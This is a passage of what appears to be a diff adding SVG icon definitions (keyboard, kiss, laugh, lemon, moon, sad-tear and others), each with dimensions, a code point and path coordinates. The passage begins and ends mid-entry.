40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z"], + "keyboard": [576, 512, [], "f11c", "M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z"], + "kiss": [496, 512, [], "f596", "M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "kiss-beam": [496, 512, [], "f597", "M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z"], + "kiss-wink-heart": [504, 512, [], "f598", "M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z"], + "laugh": [496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "laugh-beam": [496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "laugh-squint": [496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "laugh-wink": [496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"], + "lemon": [512, 512, [], "f094", "M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z"], + "life-ring": [512, 512, [], "f1cd", "M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z"], + "lightbulb": [352, 512, [], "f0eb", "M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z"], + "list-alt": [512, 512, [], "f022", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z"], + "map": [576, 512, [], "f279", "M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z"], + "meh": [496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z"], + "meh-blank": [496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "meh-rolling-eyes": [496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"], + "minus-square": [448, 512, [], "f146", "M108 284c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "money-bill-alt": [640, 512, [], "f3d1", "M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z"], + "moon": [512, 512, [], "f186", "M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z"], + "newspaper": [576, 512, [], "f1ea", "M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z"], + "object-group": [512, 512, [], "f247", "M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z"], + "object-ungroup": [576, 512, [], "f248", "M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z"], + "paper-plane": [512, 512, [], "f1d8", "M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z"], + "pause-circle": [512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z"], + "play-circle": [512, 512, [], "f144", "M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z"], + "plus-square": [448, 512, [], "f0fe", "M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "question-circle": [512, 512, [], "f059", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z"], + "registered": [512, 512, [], "f25d", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z"], + "sad-cry": [496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z"], + "sad-tear": [496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 